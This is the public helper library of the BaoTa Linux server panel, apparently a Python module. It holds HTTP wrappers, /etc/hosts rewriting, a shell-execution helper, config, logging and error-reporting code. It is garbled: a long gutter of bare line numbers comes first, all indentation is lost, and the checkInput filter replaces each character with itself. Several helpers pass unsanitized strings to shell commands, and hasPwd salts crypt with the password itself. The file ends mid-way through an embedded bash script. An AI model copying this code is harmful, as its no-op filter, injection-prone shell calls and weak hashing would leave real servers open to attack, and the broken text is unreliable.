1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
#coding: utf-8
# +-------------------------------------------------------------------
# | 宝塔Linux面板
# +-------------------------------------------------------------------
# | Copyright (c) 2015-2099 宝塔软件(http://bt.cn) All rights reserved.
# +-------------------------------------------------------------------
# | Author: hwliang <hwl@bt.cn>
# +-------------------------------------------------------------------

#--------------------------------
# 宝塔公共库
#--------------------------------

import json,os,sys,time,re,socket,importlib,binascii,base64,io
_LAN_PUBLIC = None
_LAN_LOG = None
_LAN_TEMPLATE = None

if sys.version_info[0] == 2:
reload(sys)
sys.setdefaultencoding('utf8')
else:
from importlib import reload

def M(table):
"""
@name 访问面板数据库
@author hwliang<hwl@bt.cn>
@table 被访问的表名(必需)
@return db.Sql object

ps: 默认访问data/default.db
"""
import db
with db.Sql() as sql:
#sql = db.Sql()
return sql.table(table)

def HttpGet(url,timeout = 6,headers = {}):
"""
@name 发送GET请求
@author hwliang<hwl@bt.cn>
@url 被请求的URL地址(必需)
@timeout 超时时间默认60秒
@return string
"""
if is_local(): return False
home = 'www.bt.cn'
host_home = 'data/home_host.pl'
old_url = url
if url.find(home) != -1:
if os.path.exists(host_home):
headers['host'] = home
url = url.replace(home,readFile(host_home))

import http_requests
res = http_requests.get(url,timeout=timeout,headers = headers)
if res.status_code == 0:
if old_url.find(home) != -1: return http_get_home(old_url,timeout,res.text)
if headers: return False
s_body = res.text
return s_body
s_body = res.text
del res
return s_body

def http_get_home(url,timeout,ex):
"""
@name Get方式使用优选节点访问官网
@author hwliang<hwl@bt.cn>
@param url 当前官网URL地址
@param timeout 用于测试超时时间
@param ex 上一次错误的响应内容
@return string 响应内容

如果已经是优选节点,将直接返回ex
"""
try:
home = 'www.bt.cn'
if url.find(home) == -1: return ex
hosts_file = "config/hosts.json"
if not os.path.exists(hosts_file): return ex
hosts = json.loads(readFile(hosts_file))
headers = {"host":home}
for host in hosts:
new_url = url.replace(home,host)
res = HttpGet(new_url,timeout,headers)
if res:
writeFile("data/home_host.pl",host)
set_home_host(host)
return res
return ex
except: return ex


def set_home_host(host):
"""
@name 设置官网hosts
@author hwliang<hwl@bt.cn>
@param host IP地址
@return void
"""
ExecShell('sed -i "/www.bt.cn/d" /etc/hosts')
ExecShell("echo '' >> /etc/hosts")
ExecShell("echo '%s www.bt.cn' >> /etc/hosts" % host)
ExecShell('sed -i "/^\s*$/d" /etc/hosts')

def httpGet(url,timeout=6):
return HttpGet(url,timeout)

def HttpPost(url,data,timeout = 6,headers = {}):
"""
发送POST请求
@url 被请求的URL地址(必需)
@data POST参数,可以是字符串或字典(必需)
@timeout 超时时间默认60秒
return string
"""
if is_local(): return False
home = 'www.bt.cn'
host_home = 'data/home_host.pl'
old_url = url
if url.find(home) != -1:
if os.path.exists(host_home):
headers['host'] = home
url = url.replace(home,readFile(host_home))

import http_requests
res = http_requests.post(url,data=data,timeout=timeout,headers = headers)
if res.status_code == 0:
#WriteLog('请求错误',res.text)
if old_url.find(home) != -1: return http_post_home(old_url,data,timeout,res.text)
if headers: return False
s_body = res.text
return s_body
s_body = res.text
del res
return s_body


def http_post_home(url,data,timeout,ex):
"""
@name POST方式使用优选节点访问官网
@author hwliang<hwl@bt.cn>
@param url(string) 当前官网URL地址
@param data(dict) POST数据
@param timeout(int) 用于测试超时时间
@param ex(string) 上一次错误的响应内容
@return string 响应内容

如果已经是优选节点,将直接返回ex
"""
try:
home = 'www.bt.cn'
if url.find(home) == -1: return ex
hosts_file = "config/hosts.json"
if not os.path.exists(hosts_file): return ex
hosts = json.loads(readFile(hosts_file))
headers = {"host":home}
for host in hosts:
new_url = url.replace(home,host)
res = HttpPost(new_url,data,timeout,headers)
if res:
writeFile("data/home_host.pl",host)
set_home_host(host)
return res
return ex
except: return ex

def httpPost(url,data,timeout=6):
"""
@name 发送POST请求
@author hwliang<hwl@bt.cn>
@param url 被请求的URL地址(必需)
@param data POST参数,可以是字符串或字典(必需)
@param timeout 超时时间默认60秒
@return string
"""
return HttpPost(url,data,timeout)

def check_home():
return True

def Md5(strings):
"""
@name 生成MD5
@author hwliang<hwl@bt.cn>
@param strings 要被处理的字符串
@return string(32)
"""
if type(strings) != bytes:
strings = strings.encode()
import hashlib
m = hashlib.md5()
m.update(strings)
return m.hexdigest()

def md5(strings):
return Md5(strings)

def FileMd5(filename):
"""
@name 生成文件的MD5
@author hwliang<hwl@bt.cn>
@param filename 文件名
@return string(32) or False
"""
if not os.path.isfile(filename): return False
import hashlib
my_hash = hashlib.md5()
f = open(filename,'rb')
while True:
b = f.read(8096)
if not b :
break
my_hash.update(b)
f.close()
return my_hash.hexdigest()


def GetRandomString(length):
"""
@name 取随机字符串
@author hwliang<hwl@bt.cn>
@param length 要获取的长度
@return string(length)
"""
from random import Random
strings = ''
chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
chrlen = len(chars) - 1
random = Random()
for i in range(length):
strings += chars[random.randint(0, chrlen)]
return strings

def ReturnJson(status,msg,args=()):
"""
@name 取通用Json返回
@author hwliang<hwl@bt.cn>
@param status 返回状态
@param msg 返回消息
@return string(json)
"""
return GetJson(ReturnMsg(status,msg,args))

def returnJson(status,msg,args=()):
"""
@name 取通用Json返回
@author hwliang<hwl@bt.cn>
@param status 返回状态
@param msg 返回消息
@return string(json)
"""
return ReturnJson(status,msg,args)

def ReturnMsg(status,msg,args = ()):
"""
@name 取通用dict返回
@author hwliang<hwl@bt.cn>
@param status 返回状态
@param msg 返回消息
@return dict {"status":bool,"msg":string}
"""
log_message = json.loads(ReadFile('BTPanel/static/language/' + GetLanguage() + '/public.json'))
keys = log_message.keys()
if type(msg) == str:
if msg in keys:
msg = log_message[msg]
for i in range(len(args)):
rep = '{'+str(i+1)+'}'
msg = msg.replace(rep,args[i])
return {'status':status,'msg':msg}

def returnMsg(status,msg,args = ()):
"""
@name 取通用dict返回
@author hwliang<hwl@bt.cn>
@param status 返回状态
@param msg 返回消息
@return dict {"status":bool,"msg":string}
"""
return ReturnMsg(status,msg,args)


def GetFileMode(filename):
"""
@name 取文件权限字符串
@author hwliang<hwl@bt.cn>
@param filename 文件全路径
@return string 如:644/777/755
"""
stat = os.stat(filename)
accept = str(oct(stat.st_mode)[-3:])
return accept

def get_mode_and_user(path):
'''取文件或目录权限信息'''
import pwd
data = {}
if not os.path.exists(path): return None
stat = os.stat(path)
data['mode'] = str(oct(stat.st_mode)[-3:])
try:
data['user'] = pwd.getpwuid(stat.st_uid).pw_name
except:
data['user'] = str(stat.st_uid)
return data


def GetJson(data):
"""
将对象转换为JSON
@data 被转换的对象(dict/list/str/int...)
"""
from json import dumps
if data == bytes: data = data.decode('utf-8')
try:
return dumps(data,ensure_ascii=False)
except:
return dumps(returnMsg(False,"错误的响应: %s" % str(data)))

def getJson(data):
return GetJson(data)

def ReadFile(filename,mode = 'r'):
"""
读取文件内容
@filename 文件名
return string(bin) 若文件不存在,则返回None
"""
import os
if not os.path.exists(filename): return False
try:
fp = open(filename, mode)
f_body = fp.read()
fp.close()
except Exception as ex:
if sys.version_info[0] != 2:
try:
fp = open(filename, mode,encoding="utf-8")
f_body = fp.read()
fp.close()
except Exception as ex2:
WriteLog('打开文件',str(ex2))
return False
else:
WriteLog('打开文件',str(ex))
return False
return f_body

def readFile(filename,mode='r'):
return ReadFile(filename,mode)

def WriteFile(filename,s_body,mode='w+'):
"""
写入文件内容
@filename 文件名
@s_body 欲写入的内容
return bool 若文件不存在则尝试自动创建
"""
try:
fp = open(filename, mode)
fp.write(s_body)
fp.close()
return True
except:
try:
fp = open(filename, mode,encoding="utf-8")
fp.write(s_body)
fp.close()
return True
except:
return False

def writeFile(filename,s_body,mode='w+'):
return WriteFile(filename,s_body,mode)

def WriteLog(type,logMsg,args=(),not_web = False):
#写日志
#try:
import time,db,json
username = 'system'
uid = 1
tmp_msg = ''
if not not_web:
try:
from BTPanel import session
if 'username' in session:
username = session['username']
uid = session['uid']
except:
pass
global _LAN_LOG
if not _LAN_LOG:
_LAN_LOG = json.loads(ReadFile('BTPanel/static/language/' + GetLanguage() + '/log.json'))
keys = _LAN_LOG.keys()
if logMsg in keys:
logMsg = _LAN_LOG[logMsg]
for i in range(len(args)):
rep = '{'+str(i+1)+'}'
logMsg = logMsg.replace(rep,args[i])
if type in keys: type = _LAN_LOG[type]
sql = db.Sql()
mDate = time.strftime('%Y-%m-%d %X',time.localtime())
data = (uid,username,type,logMsg + tmp_msg,mDate)
result = sql.table('logs').add('uid,username,type,log,addtime',data)
#except:
#pass

def GetLanguage():
'''
取语言
'''
return GetConfigValue("language")

def get_language():
return GetLanguage()

def GetConfigValue(key):
'''
取配置值
'''
config = GetConfig()
if not key in config.keys(): return None
return config[key]

def SetConfigValue(key,value):
config = GetConfig()
config[key] = value
WriteConfig(config)

def GetConfig():
'''
取所有配置项
'''
path = "config/config.json"
if not os.path.exists(path): return {}
f_body = ReadFile(path)
if not f_body: return {}
return json.loads(f_body)

def WriteConfig(config):
path = "config/config.json"
WriteFile(path,json.dumps(config))


def GetLan(key):
"""
取提示消息
"""
global _LAN_TEMPLATE
if not _LAN_TEMPLATE:
_LAN_TEMPLATE = json.loads(ReadFile('BTPanel/static/language/' + GetLanguage() + '/template.json'))
keys = _LAN_TEMPLATE.keys()
msg = None
if key in keys:
msg = _LAN_TEMPLATE[key]
return msg
def getLan(key):
return GetLan(key)

def GetMsg(key,args = ()):
try:
global _LAN_PUBLIC
if not _LAN_PUBLIC:
_LAN_PUBLIC = json.loads(ReadFile('BTPanel/static/language/' + GetLanguage() + '/public.json'))
keys = _LAN_PUBLIC.keys()
msg = None
if key in keys:
msg = _LAN_PUBLIC[key]
for i in range(len(args)):
rep = '{'+str(i+1)+'}'
msg = msg.replace(rep,args[i])
return msg
except:
return key
def getMsg(key,args = ()):
return GetMsg(key,args)


#获取Web服务器
def GetWebServer():
if os.path.exists('/www/server/apache/bin/apachectl'):
webserver = 'apache'
elif os.path.exists('/usr/local/lsws/bin/lswsctrl'):
webserver = 'openlitespeed'
else:
webserver = 'nginx'
return webserver

def get_webserver():
return GetWebServer()

def ServiceReload():
#重载Web服务配置
if os.path.exists('/www/server/nginx/sbin/nginx'):
result = ExecShell('/etc/init.d/nginx reload')
if result[1].find('nginx.pid') != -1:
ExecShell('pkill -9 nginx && sleep 1')
ExecShell('/etc/init.d/nginx start')
elif os.path.exists('/www/server/apache/bin/apachectl'):
result = ExecShell('/etc/init.d/httpd reload')
else:
result = ExecShell('rm -f /tmp/lshttpd/*.sock* && /usr/local/lsws/bin/lswsctrl restart')
return result
def serviceReload():
return ServiceReload()


def ExecShell(cmdstring, cwd=None, timeout=None, shell=True):
a = ''
e = ''
import subprocess,tempfile

try:
rx = md5(cmdstring)
succ_f = tempfile.SpooledTemporaryFile(max_size=4096,mode='wb+',suffix='_succ',prefix='btex_' + rx ,dir='/dev/shm')
err_f = tempfile.SpooledTemporaryFile(max_size=4096,mode='wb+',suffix='_err',prefix='btex_' + rx ,dir='/dev/shm')
sub = subprocess.Popen(cmdstring, close_fds=True, shell=shell,bufsize=128,stdout=succ_f,stderr=err_f)
sub.wait()
err_f.seek(0)
succ_f.seek(0)
a = succ_f.read()
e = err_f.read()
if not err_f.closed: err_f.close()
if not succ_f.closed: succ_f.close()
except:
print(get_error_info())
try:
#编码修正
if type(a) == bytes: a = a.decode('utf-8')
if type(e) == bytes: e = e.decode('utf-8')
except:pass

return a,e

def GetLocalIp():
#取本地外网IP
try:
filename = 'data/iplist.txt'
ipaddress = readFile(filename)
if not ipaddress:
url = 'http://pv.sohu.com/cityjson?ie=utf-8'
m_str = HttpGet(url)
ipaddress = re.search(r'\d+.\d+.\d+.\d+',m_str).group(0)
WriteFile(filename,ipaddress)
c_ip = check_ip(ipaddress)
if not c_ip: return GetHost()
return ipaddress
except:
try:
url = GetConfigValue('home') + '/Api/getIpAddress'
return HttpGet(url)
except:
return GetHost()

def is_ipv4(ip):
try:
socket.inet_pton(socket.AF_INET, ip)
except AttributeError:
try:
socket.inet_aton(ip)
except socket.error:
return False
return ip.count('.') == 3
except socket.error:
return False
return True


def is_ipv6(ip):
try:
socket.inet_pton(socket.AF_INET6, ip)
except socket.error:
return False
return True


def check_ip(ip):
return is_ipv4(ip) or is_ipv6(ip)

def GetHost(port = False):
from flask import request
host_tmp = request.headers.get('host')
if not host_tmp:
if request.url_root:
tmp = re.findall(r"(https|http)://([\w:\.-]+)",request.url_root)
if tmp: host_tmp = tmp[0][1]
if not host_tmp:
host_tmp = GetLocalIp() + ':' + readFile('data/port.pl').strip()
try:
if host_tmp.find(':') == -1: host_tmp += ':80'
except:
host_tmp = "127.0.0.1:8888"
h = host_tmp.split(':')
if port: return h[-1]
return ':'.join(h[0:-1])

def GetClientIp():
from flask import request
return request.remote_addr.replace('::ffff:','')

def phpReload(version):
#重载PHP配置
import os
if os.path.exists('/www/server/php/' + version + '/libphp5.so'):
ExecShell('/etc/init.d/httpd reload')
else:
ExecShell('/etc/init.d/php-fpm-'+version+' reload')

def get_timeout(url,timeout=3):
try:
start = time.time()
result = int(httpGet(url,timeout))
return result,int((time.time() - start) * 1000 - 500)
except: return 0,False

def get_url(timeout = 0.5):
import json
try:
nodeFile = 'data/node.json'
node_list = json.loads(readFile(nodeFile))
mnode1 = []
mnode2 = []
mnode3 = []
new_node_list = {}
for node in node_list:
node['net'],node['ping'] = get_timeout(node['protocol'] + node['address'] + ':' + node['port'] + '/net_test',1)
new_node_list[node['address']] = node['ping']
if not node['ping']: continue
if node['ping'] < 100: #当响应时间<100ms且可用带宽大于1500KB时
if node['net'] > 1500:
mnode1.append(node)
elif node['net'] > 1000:
mnode3.append(node)
else:
if node['net'] > 1000: #当响应时间>=100ms且可用带宽大于1000KB时
mnode2.append(node)
if node['ping'] < 100:
if node['net'] > 3000: break #有节点可用带宽大于3000时,不再检查其它节点
if mnode1: #优选低延迟高带宽
mnode = sorted(mnode1,key= lambda x:x['net'],reverse=True)
elif mnode3: #备选低延迟,中等带宽
mnode = sorted(mnode3,key= lambda x:x['net'],reverse=True)
else: #终选中等延迟,中等带宽
mnode = sorted(mnode2,key= lambda x:x['ping'],reverse=False)

if not mnode: return 'http://download.bt.cn'

new_node_keys = new_node_list.keys()
for i in range(len(node_list)):
if node_list[i]['address'] in new_node_keys:
node_list[i]['ping'] = new_node_list[node_list[i]['address']]
else:
node_list[i]['ping'] = 500

new_node_list = sorted(node_list,key=lambda x: x['ping'],reverse=False)
writeFile(nodeFile,json.dumps(new_node_list))
return mnode[0]['protocol'] + mnode[0]['address'] + ':' + mnode[0]['port']
except:
return 'http://download.bt.cn'


#过滤输入
def checkInput(data):
if not data: return data
if type(data) != str: return data
checkList = [
{'d':'<','r':'<'},
{'d':'>','r':'>'},
{'d':'\'','r':'‘'},
{'d':'"','r':'“'},
{'d':'&','r':'&'},
{'d':'#','r':'#'},
{'d':'<','r':'<'}
]
for v in checkList:
data = data.replace(v['d'],v['r'])
return data

#取文件指定尾行数
def GetNumLines(path,num,p=1):
pyVersion = sys.version_info[0]
max_len = 1024*128
try:
import cgi
if not os.path.exists(path): return ""
start_line = (p - 1) * num
count = start_line + num
fp = open(path,'r')
buf = ""
fp.seek(-1, 2)
if fp.read(1) == "\n": fp.seek(-1, 2)
data = []
total_len = 0
b = True
n = 0
for i in range(count):
while True:
newline_pos = str.rfind(str(buf), "\n")
pos = fp.tell()
if newline_pos != -1:
if n >= start_line:
line = buf[newline_pos + 1:]
line_len = len(line)
total_len += line_len
sp_len = total_len - max_len
if sp_len > 0:
line = line[sp_len:]
try:
data.insert(0,cgi.escape(line))
except: pass
buf = buf[:newline_pos]
n += 1
break
else:
if pos == 0:
b = False
break
to_read = min(4096, pos)
fp.seek(-to_read, 1)
t_buf = fp.read(to_read)
if pyVersion == 3:
try:
if type(t_buf) == bytes: t_buf = t_buf.decode('utf-8')
except:t_buf = str(t_buf)
buf = t_buf + buf
fp.seek(-to_read, 1)
if pos - to_read == 0:
buf = "\n" + buf
if total_len >= max_len: break
if not b: break
fp.close()
result = "\n".join(data)
if not result: raise Exception('null')
except:
result = ExecShell("tail -n {} {}".format(num,path))[0]
if len(result) > max_len:
result = result[-max_len:]

try:
try:
result = json.dumps(result)
return json.loads(result).strip()
except:
if pyVersion == 2:
result = result.decode('utf8',errors='ignore')
else:
result = result.encode('utf-8',errors='ignore').decode("utf-8",errors="ignore")
return result.strip()
except: return ""

#验证证书
def CheckCert(certPath = 'ssl/certificate.pem'):
openssl = '/usr/local/openssl/bin/openssl'
if not os.path.exists(openssl): openssl = 'openssl'
certPem = readFile(certPath)
s = "\n-----BEGIN CERTIFICATE-----"
tmp = certPem.strip().split(s)
for tmp1 in tmp:
if tmp1.find('-----BEGIN CERTIFICATE-----') == -1: tmp1 = s + tmp1
writeFile(certPath,tmp1)
result = ExecShell(openssl + " x509 -in "+certPath+" -noout -subject")
if result[1].find('-bash:') != -1: return True
if len(result[1]) > 2: return False
if result[0].find('error:') != -1: return False
return True


# 获取面板地址
def getPanelAddr():
from flask import request
protocol = 'https://' if os.path.exists("data/ssl.pl") else 'http://'
return protocol + request.headers.get('host')


#字节单位转换
def to_size(size):
if not size: return '0.00 b'
size = float(size)
d = ('b','KB','MB','GB','TB')
s = d[0]
for b in d:
if size < 1024: return ("%.2f" % size) + ' ' + b
size = size / 1024
s = b
return ("%.2f" % size) + ' ' + b


def checkCode(code,outime = 120):
#校验验证码
from BTPanel import session,cache
try:
codeStr = cache.get('codeStr')
cache.delete('codeStr')
if not codeStr:
session['login_error'] = GetMsg('CODE_TIMEOUT')
return False

if md5(code.lower()) != codeStr:
session['login_error'] = GetMsg('CODE_ERR')
return False
return True
except:
session['login_error'] = GetMsg('CODE_NOT_EXISTS')
return False

#写进度
def writeSpeed(title,used,total,speed = 0):
import json
if not title:
data = {'title':None,'progress':0,'total':0,'used':0,'speed':0}
else:
progress = int((100.0 * used / total))
data = {'title':title,'progress':progress,'total':total,'used':used,'speed':speed}
writeFile('/tmp/panelSpeed.pl',json.dumps(data))
return True

#取进度
def getSpeed():
import json;
data = readFile('/tmp/panelSpeed.pl')
if not data:
data = json.dumps({'title':None,'progress':0,'total':0,'used':0,'speed':0})
writeFile('/tmp/panelSpeed.pl',data)
return json.loads(data)

def downloadFile(url,filename):
try:
if sys.version_info[0] == 2:
import urllib
urllib.urlretrieve(url,filename=filename ,reporthook= downloadHook)
else:
import urllib.request
urllib.request.urlretrieve(url,filename=filename ,reporthook= downloadHook)
except:
return False

def downloadHook(count, blockSize, totalSize):
speed = {'total':totalSize,'block':blockSize,'count':count}
#print('%02d%%'%(100.0 * count * blockSize / totalSize))

def get_error_info():
import traceback
errorMsg = traceback.format_exc()
return errorMsg

def submit_error(err_msg = None):
try:
if os.path.exists('/www/server/panel/not_submit_errinfo.pl'): return False
from BTPanel import request
import system
if not err_msg: err_msg = get_error_info()
pdata = {}
pdata['err_info'] = err_msg
pdata['path_full'] = request.full_path
pdata['version'] = 'Linux-Panel-%s' % version()
pdata['os'] = system.system().GetSystemVersion()
pdata['py_version'] = sys.version
pdata['install_date'] = int(os.stat('/www/server/panel/class/common.py').st_mtime)
httpPost("http://www.bt.cn/api/panel/s_error",pdata,timeout=3)
except:
pass



#搜索数据中是否存在
def inArray(arrays,searchStr):
for key in arrays:
if key == searchStr: return True

return False

#格式化指定时间戳
def format_date(format="%Y-%m-%d %H:%M:%S",times = None):
if not times: times = int(time.time())
time_local = time.localtime(times)
return time.strftime(format, time_local)


#检查Web服务器配置文件是否有错误
def checkWebConfig():
f1 = '/www/server/panel/vhost/'
f2 = '/www/server/panel/plugin/'
if not os.path.exists(f2 + 'btwaf'):
f3 = f1 + 'nginx/btwaf.conf'
if os.path.exists(f3): os.remove(f3)
# if not os.path.exists(f2 + 'btwaf_httpd'):
# f3 = f1 + 'apache/btwaf.conf'
# if os.path.exists(f3): os.remove(f3)

if not os.path.exists(f2 + 'total'):
f3 = f1 + 'apache/total.conf'
if os.path.exists(f3): os.remove(f3)
f3 = f1 + 'nginx/total.conf'
if os.path.exists(f3): os.remove(f3)
else:
if os.path.exists('/www/server/apache/modules/mod_lua.so'):
writeFile(f1 + 'apache/btwaf.conf','LoadModule lua_module modules/mod_lua.so')
writeFile(f1 + 'apache/total.conf','LuaHookLog /www/server/total/httpd_log.lua run_logs')
else:
f3 = f1 + 'apache/total.conf'
if os.path.exists(f3): os.remove(f3)

if get_webserver() == 'nginx':
result = ExecShell("ulimit -n 8192 ; /www/server/nginx/sbin/nginx -t -c /www/server/nginx/conf/nginx.conf")
searchStr = 'successful'
elif get_webserver() == 'apache':
# else:
result = ExecShell("ulimit -n 8192 ; /www/server/apache/bin/apachectl -t")
searchStr = 'Syntax OK'
else:
result = ["1","1"]
searchStr = "1"
if result[1].find(searchStr) == -1:
WriteLog("TYPE_SOFT", 'CONF_CHECK_ERR',(result[1],))
return result[1]
return True


#检查是否为IPv4地址
def checkIp(ip):
p = re.compile(r'^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
if p.match(ip):
return True
else:
return False

#检查端口是否合法
def checkPort(port):
if not re.match("^\d+$",port): return False
ports = ['21','25','443','8080','888','8888','8443']
if port in ports: return False
intport = int(port)
if intport < 1 or intport > 65535: return False
return True

#字符串取中间
def getStrBetween(startStr,endStr,srcStr):
start = srcStr.find(startStr)
if start == -1: return None
end = srcStr.find(endStr)
if end == -1: return None
return srcStr[start+1:end]

#取CPU类型
def getCpuType():
cpuinfo = open('/proc/cpuinfo','r').read()
rep = "model\s+name\s+:\s+(.+)"
tmp = re.search(rep,cpuinfo,re.I)
cpuType = ''
if tmp:
cpuType = tmp.groups()[0]
else:
cpuinfo = ExecShell('LANG="en_US.UTF-8" && lscpu')[0]
rep = "Model\s+name:\s+(.+)"
tmp = re.search(rep,cpuinfo,re.I)
if tmp: cpuType = tmp.groups()[0]
return cpuType


#检查是否允许重启
def IsRestart():
num = M('tasks').where('status!=?',('1',)).count()
if num > 0: return False
return True

#加密密码字符
def hasPwd(password):
import crypt;
return crypt.crypt(password,password)

def getDate(format='%Y-%m-%d %X'):
#取格式时间
return time.strftime(format,time.localtime())


#处理MySQL配置文件
def CheckMyCnf():
import os;
confFile = '/etc/my.cnf'
if os.path.exists(confFile):
conf = readFile(confFile)
if conf.find('[mysqld]') != -1: return True
versionFile = '/www/server/mysql/version.pl'
if not os.path.exists(versionFile): return False

versions = ['5.1','5.5','5.6','5.7','8.0','AliSQL']
version = readFile(versionFile)
for key in versions:
if key in version:
version = key
break

shellStr = '''
#!/bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
export PATH

CN='125.88.182.172'
HK='download.bt.cn'
HK2='103.224.251.67'
US='128.1.164.196'
sleep 0.5;
